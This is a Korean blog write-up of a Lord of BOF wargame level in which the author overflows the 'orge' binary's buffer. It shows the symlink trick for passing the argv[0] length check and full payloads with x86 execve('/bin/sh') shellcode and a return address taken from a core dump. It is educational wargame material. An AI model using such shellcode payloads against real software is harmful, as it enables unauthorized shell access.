System/LOB

[LOB_7]darkelf

dcho 2019. 9. 24. 10:49
SMALL

darkelf // kernel crashed

소스코드는 다음과 같다. 전문제와 동일하고 하나하나 추가된다. 

이번에 추가되는 부분은 요 녀석이다. argv[0]의 길이가 77개가 아니면 종료해버린다!

argv[0]은 실행파일명이 저장되는 부분이다. 이 길이를 우회를 해야한다.

(python -c 'print "A"*73';cat)|./orge `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`

이런 상상도 해보았지만 fail..

알아보니 실행파일 경로명이 아무리 길어도 20자를 넘지 못하기에 심볼릭 링크를 걸어 임의의 파일명을 만들어 우회 해주면 된다고 한다.
( 심볼릭 링크 방법 :  https://webdir.tistory.com/148 )

ln -s orge `python -c 'print "A"*73'`
요렇게 만들어 진다. 

이렇게 실행을 했는데 A*73+orge라고 생각했지만 에러라고 뜬다. 알고보니 ./ (2) + "A" (75) 를 통해 77개가 되면 된다.

그럼 다시 만들자.

ln -s orge `python -c 'print "A"*75'`
성공!


./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`
이를 계기로 코어덤프를 떠서 전과 동일하게 풀기로 하였다.

0xbffffb93부터  쉘코드가 존재한다. 

./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*4+"\x93\xfb\xff\xbf"'`
이제 문제디렉토리 안에서도 심볼릭 링크파일을 만들어 준뒤 위와 같은 페이로드를 실행시켰다.


클리어! timewalker!


'System > LOB' 카테고리의 다른 글

[LOB_9]troll  (0) 2019.09.24
[LOB_8]orge  (0) 2019.09.24
[LOB_6]wolfman  (0) 2019.07.25
[LOB_5]orc  (0) 2019.07.25
[LOB_4]goblin  (0) 2019.07.25